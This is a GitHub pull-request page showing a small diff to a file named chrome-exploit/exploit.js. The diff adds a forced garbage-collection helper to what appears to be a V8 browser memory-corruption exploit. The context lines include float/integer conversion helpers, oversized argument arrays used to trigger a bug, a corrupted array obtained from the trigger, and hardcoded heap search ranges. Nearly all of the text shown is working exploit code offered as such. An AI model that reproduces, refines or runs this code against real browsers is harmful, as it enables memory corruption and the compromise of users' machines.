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[pull] master from r4j0x00:master #1

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Merged
pull merged 1 commit into from
Dec 7, 2020
Merged

[pull] master from r4j0x00:master #1

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8 changes: 8 additions & 0 deletions chrome-exploit/exploit.js
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Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,12 @@ function itof(val) {
return f64_buf[0];
}

function gc() {
for (let i = 0; i < 100; i++) {
new ArrayBuffer(0x100000);
}
}

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
Expand Down Expand Up @@ -48,6 +54,8 @@ function trigger(array) {
for (let i = 0; i < 30000; ++i) {
trigger(giant_array);
}
gc();

corrupted_array = trigger(giant_array)[1];

var search_space = [[(0x8040000-8)/8, 0x805b000/8], [(0x805b000)/8, (0x83c1000/8)-1], [0x8400000/8, (0x8701000/8)-1], [0x8740000/8, (0x8ac1000/8)-1], [0x8b00000/8, (0x9101000/8)-1]];
Expand Down